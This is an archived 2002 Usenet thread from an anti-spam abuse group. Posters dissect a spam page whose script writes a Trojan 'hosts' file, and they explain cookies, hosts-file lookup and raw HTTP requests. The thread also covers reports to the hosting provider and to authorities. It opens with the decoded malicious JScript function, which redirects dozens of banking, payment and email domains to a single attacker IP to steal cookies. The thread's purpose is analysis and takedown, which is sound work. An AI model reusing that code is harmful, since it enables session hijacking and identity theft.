as simply stealing your web connection. They are hosting the
theft site.

> =================================================================
> FULL LIST OF THE ENTRIES WRITTEN TO YOUR NEW TROJAN "hosts" FILE:
> =================================================================
> 
> (this gives the hostnames whose connections the spammer has attempted
>  to steal)
> 
>   function savefavfile(folder,label,url,icofile,iconum)
>    var oFi=FSO.CreateTextFile(folder+"\\hosts");
>     oFi.WriteLine("64.154.222.199 hotmail.com");
>     oFi.WriteLine("64.154.222.199 yahoo.com");
>     oFi.WriteLine("64.154.222.199 msn.com");
>     oFi.WriteLine("64.154.222.199 altavista.com");
>     oFi.WriteLine("64.154.222.199 google.com");
>     oFi.WriteLine("64.154.222.199 paypal.com");
>     oFi.WriteLine("64.154.222.199 ebay.com");
>     oFi.WriteLine("64.154.222.199 buy.com");
>     oFi.WriteLine("64.154.222.199 microsoft.com");
>     oFi.WriteLine("64.154.222.199 icq.com");
>     oFi.WriteLine("64.154.222.199 usa.net");
>     oFi.WriteLine("64.154.222.199 usa.com");
>     oFi.WriteLine("64.154.222.199 netscape.net");
>     oFi.WriteLine("64.154.222.199 netscape.com");
>     oFi.WriteLine("64.154.222.199 aol.com");
>     oFi.WriteLine("64.154.222.199 web.de");
>     oFi.WriteLine("64.154.222.199 excite.com");
>     oFi.WriteLine("64.154.222.199 qwest.net");
>     oFi.WriteLine("64.154.222.199 dell.com");
>     oFi.WriteLine("64.154.222.199 hp.com");
>     oFi.WriteLine("64.154.222.199 sony.com");
>     oFi.WriteLine("64.154.222.199 gateway.com");
>     oFi.WriteLine("64.154.222.199 ibm.com");
>     oFi.WriteLine("64.154.222.199 bestbuy.com");
>     oFi.WriteLine("64.154.222.199 prodigy.net");
>     oFi.WriteLine("64.154.222.199 att.com");
>     oFi.WriteLine("64.154.222.199 att.net");
>     oFi.WriteLine("64.154.222.199 earthlink.net");
>     oFi.WriteLine("64.154.222.199 earthlink.com");
>     oFi.WriteLine("64.154.222.199 mail.com");
>     oFi.WriteLine("64.154.222.199 lycos.com");
>     oFi.WriteLine("64.154.222.199 av.com");
>     oFi.WriteLine("64.154.222.199 mp3.com");
>     oFi.WriteLine("64.154.222.199 hollywood.com");
>     oFi.WriteLine("64.154.222.199 cnn.com");
>     oFi.WriteLine("64.154.222.199 nba.com");
>     oFi.WriteLine("64.154.222.199 nhl.com");
>     oFi.WriteLine("64.154.222.199 nfl.com");
>     oFi.WriteLine("64.154.222.199 usatoday.com");
>     oFi.WriteLine("64.154.222.199 weather.com");
>     oFi.WriteLine("64.154.222.199 money.com");
>     oFi.WriteLine("64.154.222.199 geocities.com");
>     oFi.WriteLine("64.154.222.199 amazon.com");
>     oFi.WriteLine("64.154.222.199 bankamerica.com");
>     oFi.WriteLine("64.154.222.199 wu.com");
>     oFi.WriteLine("64.154.222.199 westernunion.com");
>     oFi.WriteLine("64.154.222.199 c2it.com");
>     oFi.WriteLine("64.154.222.199 visa.com");
>     oFi.WriteLine("64.154.222.199 internet.com");
>     oFi.WriteLine("64.154.222.199 ivillage.com");
>     oFi.WriteLine("64.154.222.199 real.com");
>     oFi.WriteLine("64.154.222.199 x10.com");
>     oFi.WriteLine("64.154.222.199 about.com");
>     oFi.WriteLine("64.154.222.199 www.hotmail.com");
>     oFi.WriteLine("64.154.222.199 www.yahoo.com");
>     oFi.WriteLine("64.154.222.199 www.msn.com");
>     oFi.WriteLine("64.154.222.199 www.altavista.com");
>     oFi.WriteLine("64.154.222.199 www.google.com");
>     oFi.WriteLine("64.154.222.199 www.paypal.com");
>     oFi.WriteLine("64.154.222.199 www.ebay.com");
>     oFi.WriteLine("64.154.222.199 www.buy.com");
>     oFi.WriteLine("64.154.222.199 www.microsoft.com");
>     oFi.WriteLine("64.154.222.199 www.icq.com");
>     oFi.WriteLine("64.154.222.199 www.usa.net");
>     oFi.WriteLine("64.154.222.199 www.usa.com");
>     oFi.WriteLine("64.154.222.199 www.netscape.net");
>     oFi.WriteLine("64.154.222.199 www.netscape.com");
>     oFi.WriteLine("64.154.222.199 www.aol.com");
>     oFi.WriteLine("64.154.222.199 www.web.de");
>     oFi.WriteLine("64.154.222.199 www.excite.com");
>     oFi.WriteLine("64.154.222.199 www.qwest.net");
>     oFi.WriteLine("64.154.222.199 www.dell.com");
>     oFi.WriteLine("64.154.222.199 www.hp.com");
>     oFi.WriteLine("64.154.222.199 www.sony.com");
>     oFi.WriteLine("64.154.222.199 www.gateway.com");
>     oFi.WriteLine("64.154.222.199 www.ibm.com");
>     oFi.WriteLine("64.154.222.199 www.bestbuy.com");
>     oFi.WriteLine("64.154.222.199 www.prodigy.net");
>     oFi.WriteLine("64.154.222.199 www.att.com");
>     oFi.WriteLine("64.154.222.199 www.att.net");
>     oFi.WriteLine("64.154.222.199 www.earthlink.net");
>     oFi.WriteLine("64.154.222.199 www.earthlink.com");
>     oFi.WriteLine("64.154.222.199 www.mail.com");
>     oFi.WriteLine("64.154.222.199 www.lycos.com");
>     oFi.WriteLine("64.154.222.199 www.av.com");
>     oFi.WriteLine("64.154.222.199 www.mp3.com");
>     oFi.WriteLine("64.154.222.199 www.hollywood.com");
>     oFi.WriteLine("64.154.222.199 www.cnn.com");
>     oFi.WriteLine("64.154.222.199 www.nba.com");
>     oFi.WriteLine("64.154.222.199 www.nhl.com");
>     oFi.WriteLine("64.154.222.199 www.nfl.com");
>     oFi.WriteLine("64.154.222.199 www.usatoday.com");
>     oFi.WriteLine("64.154.222.199 www.weather.com");
>     oFi.WriteLine("64.154.222.199 www.money.com");
>     oFi.WriteLine("64.154.222.199 www.geocities.com");
>     oFi.WriteLine("64.154.222.199 www.amazon.com");
>     oFi.WriteLine("64.154.222.199 www.bankamerica.com");
>     oFi.WriteLine("64.154.222.199 www.wu.com");
>     oFi.WriteLine("64.154.222.199 www.westernunion.com");
>     oFi.WriteLine("64.154.222.199 www.c2it.com");
>     oFi.WriteLine("64.154.222.199 www.visa.com");
>     oFi.WriteLine("64.154.222.199 www.internet.com");
>     oFi.WriteLine("64.154.222.199 www.ivillage.com");
>     oFi.WriteLine("64.154.222.199 www.real.com");
>     oFi.WriteLine("64.154.222.199 www.x10.com");
>     oFi.WriteLine("64.154.222.199 www.about.com");
>     ...
>     oFi.Close();}


From af380@chebucto.ns.ca Sun Feb 24 19:01:41 2002
Status: RO
X-Status: 
From: spamless@Nil.nil
Subject: Re: TROJAN "hosts" FILE:COOKIE THEFT: IDENTITY THEFT?
Newsgroups: news.admin.net-abuse.email
References: <3c7848db$1_1@nntp2.nac.net> <3c795aa3$1_1@nntp2.nac.net> <3c79680e$1_1@nntp2.nac.net>
User-Agent: tin/pre-1.4-980818 ("Laura") (UNIX) (FreeBSD/2.2.7-19980825-SNAP (i386))
NNTP-Posting-Host: inch.com
Message-ID: <3c797ee5$1_2@nntp2.nac.net>
Date: 24 Feb 2002 19:01:41 -0500
X-Trace: nntp2.nac.net 1014595301 inch.com (24 Feb 2002 19:01:41 -0500)
Lines: 21
Path: News.Dal.Ca!news2.muc.eurocyber.net!fu-berlin.de!news.maxwell.syr.edu!newspeer1.nac.net!nntp2.nac.net!shell.inch.com!spamless
Xref: News.Dal.Ca news.admin.net-abuse.email:766848

spamless@Nil.nil wrote:

> I just realized - since your cookies are sent to the spammer's site
> your cookie enabled logins are now broken. Too bad.

> I just checked. The "hosts" file has entries for
> "bankamerica.com", "wu.com" (Western Union), "money.com", "paypal.com",
> "westernunion.com", "visa.com", "ebay.com", "bestbuy.com", "money.com",

> This is cookie theft.

I just got off the phone with security at Level3 (who was paged at home),
explained what was going on and sent him a copy of the spam, original web 
page, decrypted web page (the code that creates the Trojan "hosts" file), 
the list of hostnames that are redirected to their hosted "customer" and 
an explanation.

He said he'd look at it tomorrow (Monday, 25 January 2002).

(uce@ftc.gov did not like the attachment since it contained script - 
 it flagged that as a virus)


From af380@chebucto.ns.ca Mon Feb 25 06:39:28 2002
Status: RO
X-Status: 
Path: News.Dal.Ca!torn!news-out.cwix.com!newsfeed.cwix.com!newsfeed.nyc.globix.net!news.stealth.net!teleglobe.net!teleglobe.net!teleglobe.net!66.185.86.143.MISMATCH!news03.bloor.is!news2.bloor.is.POSTED!12dc6cf53ab2750!not-for-mail
Message-ID: <3C79DC18.143B0850@rogers.com>
From: David Ramalho <earthscibbs@rogers.com>
Organization: ***EarthScibbs***
X-Mailer: Mozilla 4.79 [en] (Win95; U)
X-Accept-Language: en,pdf
MIME-Version: 1.0
Newsgroups: news.admin.net-abuse.email
Subject: Re: TROJAN "hosts" FILE:COOKIE THEFT: IDENTITY THEFT?
References: <3c7848db$1_1@nntp2.nac.net> <3c795aa3$1_1@nntp2.nac.net> <3c79680e$1_1@nntp2.nac.net> <3c797ee5$1_2@nntp2.nac.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Lines: 53
Date: Mon, 25 Feb 2002 06:39:28 GMT
NNTP-Posting-Host: 24.100.247.48
X-Complaints-To: abuse@rogers.com
X-Trace: news2.bloor.is 1014619168 24.100.247.48 (Mon, 25 Feb 2002 01:39:28 EST)
NNTP-Posting-Date: Mon, 25 Feb 2002 01:39:28 EST
Xref: News.Dal.Ca news.admin.net-abuse.email:766979

spamless@Nil.nil wrote:
> 
> spamless@Nil.nil wrote:
> 
> > I just realized - since your cookies are sent to the spammer's site
> > your cookie enabled logins are now broken. Too bad.
> 
> > I just checked. The "hosts" file has entries for
> > "bankamerica.com", "wu.com" (Western Union), "money.com", "paypal.com",
> > "westernunion.com", "visa.com", "ebay.com", "bestbuy.com", "money.com",
> 
> > This is cookie theft.
> 
> I just got off the phone with security at Level3 (who was paged at home),
> explained what was going on and sent him a copy of the spam, original web
> page, decrypted web page (the code that creates the Trojan "hosts" file),
> the list of hostnames that are redirected to their hosted "customer" and
> an explanation.
> 
> He said he'd look at it tomorrow (Monday, 25 January 2002).
> 
> (uce@ftc.gov did not like the attachment since it contained script -
>  it flagged that as a virus)

 Good evening

 You should also try:

FBI <internetfraud@ifccfbi.gov>

Secret Service <419.fcd@usss.treas.gov>

 Internet Fraud Complaint Center (IFCC) FBI site
  http://www1.ifccfbi.gov/index.asp

  Federal Trade Commission
  http://www.ftc.gov/

 Colorado - Attorney General (where level3.net is located)
 http://www.ago.state.co.us/

 NATIONAL CHECK FRAUD CENTER
 http://www.ckfraud.org/

 European Anti-Fraud Office
  - there is the German connection
 http://europa.eu.int/comm/dgs/olaf/

 Financial Crimes Enforcement Network (FinCEN)
  http://www.treas.gov/fincen/

 Regards
 David Ramalho


From af380@chebucto.ns.ca Mon Feb 25 04:10:54 2002
Status: RO
X-Status: 
From: spamless@Nil.nil
Subject: Re: TROJAN "hosts" FILE:COOKIE THEFT: IDENTITY THEFT?
Newsgroups: news.admin.net-abuse.email
References: <3c7848db$1_1@nntp2.nac.net> <3c795aa3$1_1@nntp2.nac.net> <3c79680e$1_1@nntp2.nac.net> <n3mj7u83261j2u3qkldr9dko4tdekqvbfq@4ax.com>
User-Agent: tin/pre-1.4-980818 ("Laura") (UNIX) (FreeBSD/2.2.7-19980825-SNAP (i386))
NNTP-Posting-Host: inch.com
Message-ID: <3c79ff9e$1_1@nntp2.nac.net>
Date: 25 Feb 2002 04:10:54 -0500
X-Trace: nntp2.nac.net 1014628254 inch.com (25 Feb 2002 04:10:54 -0500)
Lines: 135
Path: News.Dal.Ca!news2.muc.eurocyber.net!fu-berlin.de!hub1.nntpserver.com!newspeer1.nac.net!nntp2.nac.net!shell.inch.com!spamless
Xref: News.Dal.Ca news.admin.net-abuse.email:766997

Tom Porter <spammersarevermin@krumpli.com> wrote:

> Could you please explain how this happens in more detail? Thanks...

Cookies. Little data bits stored on your computer in the form:
"name=data" which have an associated "host" (and expiration date).

When you go to a URL, your browser resolves that to an IP address
(it connects to IP addresses), connects, looks through the list
of cookies, sees which ones have this "host" associated with it,
and sends that information in the header of the http-protocol
requests you send to that host. That data is saved by the web
server and it can examine it and take actions based on the data.

For example, it can open your hotmail mailbox.
It can log you to your amazon page (and ready amazon for
its patented "one click" purchase).

Only the host web server need be able to read the cookie so
the data may be encrypted.

You can give your friend a cookie file and he can use it to
log in as you.

Luckily, for most systems, really critical data is not saved
in cookies. Unfortunately, it may be saved on their secure
systems and be accessible after you log-in with your password
which may be sent in an encrypted cookie.

The cookie data is sent to the host when you connect to that
IP address (the one it found and to which it connects and to
which it sends the http-protocol requests for pages).
-----------------------------------------------------

How to get the IP address for a hostname (such as hotmail)?
Back in the old days of ARPA net, there were only a few machines.
There was no distributed nameserver system. Each machine had
a database/list called a "hosts" file.

 numeric_address hostname

and, when trying to determine how to connect to a hostname,
would look up the hostname in the list to find the numeric_address
to use.

"hosts" files are still used. Most of us don't use them on
home systems. IF there is a hosts file, your browser (and other
programmes) in trying to determine the IP address to which
to connect when we want to reach a given hostname will:

1: Check for a "hosts" file. If there is none it uses
   whatever other resolver you have set.
2: If there is a hosts file, it looks for the IP address
   for the hostname there. If it finds it there, it uses
   that as the IP address of the hostname. IF it does not
   find it, it uses whatever other resolver you have set.

On home machines, the resolver it will use (if it does not
find an IP address in a "hosts" file) is to check for the 
IP address by asking your local ISP's nameservers for the 
IP address (that is why you have to enter your ISP's 
nameservers in your internet connection - unless they are 
assigned dynamically by your ISP). Your ISP's nameserver 
will get the information from other nameservers (recursive 
lookup) and return it to your system so it has an IP address 
and can connect to the host.

If someone can convince your system that the IP address for
www.msn.com is "123.123.123.123", then when you enter
"http://www.msn.com/some_path/some_file.htm" it will connect 
to "www.msn.com" by sending data to the IP address 
"123.123.123.123" - it will send http-protocol messages,
posts, GET requests, its cookies, etc. to this IP address.

You may have seen folks here mention that they block some
site (such as doubleclick) by entering a value in the "hosts"
file assigning the hostname to the IP address "127.0.0.1"
(127.0.0.1 is a reserved IP address which just points to the
same machine - it must means "me, this machine, this is not
some other machine"). This convinces everything on your machine
to use that IP address in attempting to connect to that site.
The result is that it never looks up the real IP address
of doubleclick and never sends them any cookie data that
they may use to track you.

This spammer attempts to write a "hosts" file to your computer.
It will replace namesystem lookups for the hostnames he writes
to the file. It puts his IP address in for many hosts. In
attempting to connect to any of those hostnames, your machine
will connect to his system (will use his IP address as that
of the hostnames). It will send cookies, etc. to that machine
assuming it is the IP address of the hostname.

Among the hostnames he inserts in the "hosts" file he creates
(or tries to create) are bankamerica.com, westernunion.com,
wu.com (western union again), paypal.com, visa.com, buy.com,
amazon.com, hotmail.com, msn.com, bestbuy.com, gateway.com,
aol.com, etc. (check the list in the message I posted).

For all those hosts, your machine will think they are located
at his IP address and connect there (he uses a frameset redirector
to show you the actual site, but your machine will send the cookies
to the spammer).

Once he has a cookie "name=data" he can later connect to the
real host and send that cookie himself (your cookie data).
If the site uses cookies to save and receive your password
or data, the spammer has just logged in as you.
If the cookie can be read (plain text), he can just read it
and see what the data is.

You can examine your "cookies.txt" file (Netscape) or the
individual cookie files (Internet Explorer) in Notepad or
other plain text viewer. Many of them will look like junk
data (encrypted).

For example, I see some with names

 "username" with a value which is my username (in clear text)
            for my login to the (London) Sunday Times.
 NS_REG2_USERLOGIN with an obscure value for Netscape.com.
 I see another one for Netscape which has my email address
  (the one I used there: Spamless@nil.nil)
 (I don't have many cookies)

(the format of the cookie text file, the data that is
 sent as a "name=data" pair may not be exactly in
 that form.
 It may be (as it is for Netscape):
  hostname, path, expiration_date(*), name, data
 (with some boolean values in there as well)

 (*): In netscape this is given as an integer.
      Some number of hours? or minutes? or days?
      from some fixed time.


From af380@chebucto.ns.ca Mon Feb 25 05:08:26 2002
Status: RO
X-Status: 
From: spamless@Nil.nil
Subject: Re: TROJAN "hosts" FILE:COOKIE THEFT: IDENTITY THEFT?
Newsgroups: news.admin.net-abuse.email
References: <3c7848db$1_1@nntp2.nac.net> <3c795aa3$1_1@nntp2.nac.net> <3c79680e$1_1@nntp2.nac.net> <n3mj7u83261j2u3qkldr9dko4tdekqvbfq@4ax.com> <3c79ff9e$1_1@nntp2.nac.net>
User-Agent: tin/pre-1.4-980818 ("Laura") (UNIX) (FreeBSD/2.2.7-19980825-SNAP (i386))
NNTP-Posting-Host: inch.com
Message-ID: <3c7a0d1a_1@nntp2.nac.net>
Date: 25 Feb 2002 05:08:26 -0500
X-Trace: nntp2.nac.net 1014631706 inch.com (25 Feb 2002 05:08:26 -0500)
Lines: 186
Path: News.Dal.Ca!newsflash.concordia.ca!nntp.cs.ubc.ca!logbridge.uoregon.edu!newspeer1.nac.net!nntp2.nac.net!shell.inch.com!spamless
Xref: News.Dal.Ca news.admin.net-abuse.email:767000

spamless@Nil.nil wrote:

> When you go to a URL, your browser resolves that to an IP address
> (it connects to IP addresses), connects, looks through the list
> of cookies, sees which ones have this "host" associated with it,
> and sends that information in the header of the http-protocol
> requests you send to that host. That data is saved by the web
> server and it can examine it and take actions based on the data.

In detail.

When getting a web page your browser will, after getting the IP address
connect to port 80 at that IP address and send the following lines of
text (this is to get a page):

GET /the_path_to/the_page.html HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)
Cookie: name1=data1; name2=data2; name3=data3 
Host: www.nytimes.com
Referrer: the_URL_of_the_page_with_the_link_you_clicked
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*

It then sends one blank line.

The web server then does something with the information you sent
and returns (hopefully) the page you requested.

There may be other headers which are sent. Or fewer.

 The User-Agent will, of course, specify your browser.
 
 The cookie data will look up the various cookies that you
 may have received for this host and send them all.

 The Host specifies the hostname (if the system uses virtual
 hosting, for example, jane.com and jim.com at the same IP
 address, the "Host:" header will be used to decide which
 set of web pages you should get - do you want jane's
 index.html page or jim's?).

 The Accept line indicates which mime types your system
 would like.

Anther header that might be sent:

 From: your_email_address
  (I don't think any browser now still sends that - I guess there
   might have been one somewhere - though I believe you can
   configure Netscape and Lynx to send the "From:" header if you
   want to - in Netscape you would have to edit the prefs.js file,
   I believe.)

You can do this manually. Telnet to port 80 at some machine and
type in those lines and a blank line to get the page. That way,
you could telnet to the London Times and enter a "Host:" field
in the header of "Host: www.nytimes.com" and let them wonder
how you managed to get to London when you wanted New York!
If a site has multiple IP addresses listed (as one can get
from checking at its nameserver) you can telnet to each
IP address on port 80 (the default port - if the URL has
a different port number listed, use that) and enter the
data manually (with the Host: header) to check that the same
site is available at the multiple IP addresses (which may
be used for load balancing) (that is how I checked, for example,
that Empire Towers' site was available at the four IP addresses
they had been using - now they seem to be back to one).
There is software, such as "curl", which makes it easier
to specify data and configure what is sent precisely as
you want.
------------------------------------------------------

The data you get back will consist of a few lines (header)
(with the response code, such as "200" for success,
 "302" or "301" for a redirection, "404" for page not found,
 etc.) followed by a blank line and then the actual data
(you can have a page sent with a "404", page not found, header
which is usually sent by systems to indicate why the page is
missing or to offer to search for it. Besides the GET request,
to get a page, one can use a HEAD request just to get the
header to see if the page is there. A few spammers have
systems which return "404" headers and then the page that
is really there. An abuse desk which uses a HEAD request
to see the status of the page will think it is down. One which
uses a GET request may think it is down, until they scroll past
all the blank lines and tab characters to find the page that
the spammer is trying to hide - he wants folks to think the
"404" header is real).

Here is a sample response from getting a page on the NY Times:

HTTP/1.1 200 OK
Server: Netscape-Enterprise/4.1
Date: Mon, 25 Feb 2002 09:22:36 GMT
Set-cookie: RMID=(data_omittted); expires=Tuesday, 25-Feb-2003 09:22:36 GMT; path=/; domain=.nytimes.com
Set-cookie: spopunder=1; path=/; domain=.nytimes.com
Cache-control: no-cache
Pragma: no-cache
Content-type: text/html
Connection: close

(then a blank line, then the page)

(while the browser only sends ONE "Cookie" line in,
 servers can send several "Set-cookie" lines.
 In this case, the first cookie, for example,
 sets a cookie with name RMID, and some value.
 It sets its expiration data and specifies that it
 is valid for .nytimes.com (the extra dot at the
 front means it will work for www.nytimes.com,
 www1.nytimes.com, anthing.else.nytimes.com)
 It specifies the path as "/" (root) so it will work
 for anything under that path (e.g. /anything/anything.html)
 - some cookies may only work with a path /pages, for example,
 which would work for /pages/joe/his_page.html but not for
 /files/joe/his_file.html)

Here is an example of a redirection header.
Note that all systems require a proper URL.
Directories end in slashes! If you send a URL which ends
in a directory, it will check to see if the directory exists,
but not give you the default page therein. This is important
(in the example I am going to use, I will use the directory
/~f60a on home.earthlink.net, which is a directory the
CyberDetective spammer is using).

Suppose the system DID return the default page in the
directory "http://home.earthlink.net/~f60a/" when you
enter the URL "http://home.earthlink.net/~f60a". Now what
happens if that has a relative URL in a link (e.g. "otherpage.htm")?
Your browser will happily think this is 
"http://home.earthlink.net/otherpage.htm" (it was not told that
"~f60a" was a directory). On the other hand, if you used the
URL "http://home.earthlink.net/~f60a/" (to get the default page)
your browser would recognize "otherpage.htm" as referring to 
"http://home.earthlink.net/~f60a/otherpage.htm".

However, many folk do NOT put in the slash at the end of URLs that
point to directories. To fix that, the web server will check.
If there is no page, but a directory with that name, it will send
a redirect to the "proper" URL (the one ending in a slash).
This is what earthlink sends back to the request for
"http://home.earthlink.net/~f60a"

SENT:

GET /~f60a HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)
Host: home.earthlink.net
Pragma: no-cache
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*

(then a blank line)

RECEIVED:

HTTP/1.1 301 Moved Permanently
Date: Mon, 25 Feb 2002 09:53:28 GMT
Server: Apache/1.3.12 (Unix)
Location: http://home.earthlink.net/~f60a/
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1

(then a blank line, then a page which also indicates that
 the page has moved in case your browser does not automatically
 follow redirection headers)

[A "301" redirection instructs the browser that from now on
 it should use "http://home.earthlink.net/~f60a/" anytime
 it sees the URL "http://home.earthlink.net/~f60a".

 A "302" header instructs the browser that this time it should
 use "http://home.earthlink.net/~f60a/", but for future
 requests, it should go back to using "http://home.earthlink.net/~f60a"
 - which can be used if the page has only temporarily moved.]

Your browser does not show you the header (but may/probably_does
save the header somewhere in cache along with the page) but just
the page. Since the header is in cache, you can examine it to
see if there was a "302" redirect to another site (or, if you
enter the data manually for the GET request by telnetting to the site 
you will see the header come back to you before the page - again,
there is software that will capture pages with the headers to
make it easier to see what is going on).

[That was a bit more than you wanted to know when you asked for
 "details," wasn't it?]


From af380@chebucto.ns.ca Mon Feb 25 10:24:24 2002
Status: RO
X-Status: 
Path: News.Dal.Ca!newsflash.concordia.ca!sunqbc.risq.qc.ca!news-hog.berkeley.edu!ucberkeley!enews.sgi.com!news.tamu.edu!scully.tamu.edu!not-for-mail
From: wej3715@scully.tamu.edu (wej3715)
Newsgroups: news.admin.net-abuse.email
Subject: Re: TROJAN "hosts" FILE:COOKIE THEFT: IDENTITY THEFT?
Date: 25 Feb 2002 10:24:24 GMT
Organization: Texas A&M University, College Station, Texas
Lines: 14
Message-ID: <a5d3co$dcu$1@news.tamu.edu>
References: <3c7848db$1_1@nntp2.nac.net> <3c795aa3$1_1@nntp2.nac.net> <3c79680e$1_1@nntp2.nac.net> <n3mj7u83261j2u3qkldr9dko4tdekqvbfq@4ax.com> <3c79ff9e$1_1@nntp2.nac.net>
NNTP-Posting-Host: unix.tamu.edu
NNTP-Posting-Date: 25 Feb 2002 10:24:24 GMT
X-Newsreader: TIN [UNIX 1.3 950824BETA PL0]
Xref: News.Dal.Ca news.admin.net-abuse.email:767005

spamless@Nil.nil wrote:
: How to get the IP address for a hostname (such as hotmail)?
: Back in the old days of ARPA net, there were only a few machines.
: There was no distributed nameserver system. Each machine had
: a database/list called a "hosts" file.

It used to be that the first thing I'd look for when ftping
into a new machine was the hosts file.  If it was accessible,
and it always was, I'd download it and merge it with mine.

I used to see host files that were a megabyte or bigger in size
on occasion.

Eric Johnson


From af380@chebucto.ns.ca Mon Feb 25 05:49:00 2002
Status: RO
X-Status: 
Path: News.Dal.Ca!news2.muc.eurocyber.net!newsfeed4.cidera.com!newsfeed1.cidera.com!Cidera!netnews.com!xfer02.netnews.com!newsfeed2.earthlink.net!newsfeed.earthlink.net!newsfeed0.news.atl.earthlink.net!news.atl.earthlink.net!news.mindspring.net!not-for-mail
From: "Mark G" <bsbox@mindspring.com>
Newsgroups: news.admin.net-abuse.email
Subject: Re: TROJAN "hosts" FILE:WEB CONNECTION THEFT: Quick action!
Date: Mon, 25 Feb 2002 05:49:00 -0700
Organization: MindSpring Enterprises
Lines: 18
Message-ID: <a5dbqg$1ct$1@slb7.atl.mindspring.net>
References: <3c7848db$1_1@nntp2.nac.net> <3c786644$1_2@nntp2.nac.net> <3C787E55.5030407@mindspring.com> <3c78934a$1_1@nntp2.nac.net> <d7f82a0.0202241358.6dc2d412@posting.google.com>
NNTP-Posting-Host: d1.56.ce.8b
X-Server-Date: 25 Feb 2002 12:48:16 GMT
X-Priority: 3
X-MSMail-Priority: Normal
X-Newsreader: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Xref: News.Dal.Ca news.admin.net-abuse.email:767020


"Sarah" <solitaire5@juno.com> wrote in message
news:d7f82a0.0202241358.6dc2d412@posting.google.com...
>
> Sorry -- didn't notice the lack of an _s_ in the name until after I
> hit the "post" button.

Blame it on me. I added the "s" somehow in my general comments. I
didn't when I did the lookup, that's why I thought perhaps that
directnic might have pulled everything. If directnic did pull the
registration, the next time this pops up, it will be from a new
domain.

Even if they didn't pull the registration, the spammer may have some
trouble getting the domain transferred to a new registrar. I think
that is the only way he will be able to get those nameservers changed.




From af380@chebucto.ns.ca Mon Feb 25 18:41:45 2002
Status: RO
X-Status: 
From: spamless@Nil.nil
Subject: Re: TROJAN "hosts" FILE:COOKIE THEFT: IDENTITY THEFT?
Newsgroups: news.admin.net-abuse.email
References: <3c7848db$1_1@nntp2.nac.net> <3c795aa3$1_1@nntp2.nac.net> <3c79680e$1_1@nntp2.nac.net> <3c797ee5$1_2@nntp2.nac.net>
User-Agent: tin/pre-1.4-980818 ("Laura") (UNIX) (FreeBSD/2.2.7-19980825-SNAP (i386))
NNTP-Posting-Host: inch.com
Message-ID: <3c7acbb9$1_2@nntp2.nac.net>
Date: 25 Feb 2002 18:41:45 -0500
X-Trace: nntp2.nac.net 1014680505 inch.com (25 Feb 2002 18:41:45 -0500)
Lines: 19
Path: News.Dal.Ca!news2.muc.eurocyber.net!newsfeed4.cidera.com!newsfeed1.cidera.com!Cidera!portc03.blue.aol.com!news.maxwell.syr.edu!newspeer1.nac.net!nntp2.nac.net!shell.inch.com!spamless
Xref: News.Dal.Ca news.admin.net-abuse.email:767294

spamless@Nil.nil wrote:

> I just got off the phone with security at Level3 (who was paged at home),
> explained what was going on and sent him a copy of the spam, original web 
> page, decrypted web page (the code that creates the Trojan "hosts" file), 
> the list of hostnames that are redirected to their hosted "customer" and 
> an explanation.

What a crock.

Their reply:

> Thanks for taking the time to help with the investigation of this issue.
> Your complaint has been forwarded to the customer ISP who has been allocated
> that IP block.

Great. They know that they are hosting a site meant to steel cookies for
online banking (bankamerica, westernunion); email accounts (hotmail, yahoo);
etc. AND HAVE LEFT IT UP (I just checked) while they inform their "customer".


From af380@chebucto.ns.ca Mon Feb 25 18:42:55 2002
Status: RO
X-Status: 
From: spamless@Nil.nil
Subject: Re: TROJAN "hosts" FILE:COOKIE THEFT: IDENTITY THEFT?
Newsgroups: news.admin.net-abuse.email
References: <3c7848db$1_1@nntp2.nac.net> <3c795aa3$1_1@nntp2.nac.net> <3c79680e$1_1@nntp2.nac.net> <3c797ee5$1_2@nntp2.nac.net> <3C79DC18.143B0850@rogers.com>
User-Agent: tin/pre-1.4-980818 ("Laura") (UNIX) (FreeBSD/2.2.7-19980825-SNAP (i386))
NNTP-Posting-Host: inch.com
Message-ID: <3c7acbff$1_2@nntp2.nac.net>
Date: 25 Feb 2002 18:42:55 -0500
X-Trace: nntp2.nac.net 1014680575 inch.com (25 Feb 2002 18:42:55 -0500)
Lines: 28
Path: News.Dal.Ca!newsflash.concordia.ca!sunqbc.risq.qc.ca!news.maxwell.syr.edu!newspeer1.nac.net!nntp2.nac.net!shell.inch.com!spamless
Xref: News.Dal.Ca news.admin.net-abuse.email:767296

David Ramalho <earthscibbs@rogers.com> wrote:

>  You should also try:

I will send a message to each.

> FBI <internetfraud@ifccfbi.gov>

> Secret Service <419.fcd@usss.treas.gov>

>  Internet Fraud Complaint Center (IFCC) FBI site
>   http://www1.ifccfbi.gov/index.asp

>   Federal Trade Commission
>   http://www.ftc.gov/

>  Colorado - Attorney General (where level3.net is located)
>  http://www.ago.state.co.us/

>  NATIONAL CHECK FRAUD CENTER
>  http://www.ckfraud.org/

>  European Anti-Fraud Office
>   - there is the German connection
>  http://europa.eu.int/comm/dgs/olaf/

>  Financial Crimes Enforcement Network (FinCEN)
>   http://www.treas.gov/fincen/


From af380@chebucto.ns.ca Tue Feb 26 06:18:05 2002
Status: RO
X-Status: 
From: spamless@Nil.nil
Subject: Re: TROJAN "hosts" FILE:COOKIE THEFT: IDENTITY THEFT?
Newsgroups: news.admin.net-abuse.email
References: <3c7848db$1_1@nntp2.nac.net> <3c795aa3$1_1@nntp2.nac.net> <3c79680e$1_1@nntp2.nac.net>
User-Agent: tin/pre-1.4-980818 ("Laura") (UNIX) (FreeBSD/2.2.7-19980825-SNAP (i386))
NNTP-Posting-Host: inch.com
Message-ID: <3c7b6eed$1_2@nntp2.nac.net>
Date: 26 Feb 2002 06:18:05 -0500
X-Trace: nntp2.nac.net 1014722285 inch.com (26 Feb 2002 06:18:05 -0500)
Lines: 2
Path: News.Dal.Ca!news2.muc.eurocyber.net!uucp.gnuu.de!newsfeed.arcor-online.net!nntp-relay.ihug.net!ihug.co.nz!news-spur1.maxwell.syr.edu!news.maxwell.syr.edu!newspeer1.nac.net!nntp2.nac.net!shell.inch.com!spamless
Xref: News.Dal.Ca news.admin.net-abuse.email:767497

The site at 64.154.222.199 is now no longer redirecting to other
sites. Good.


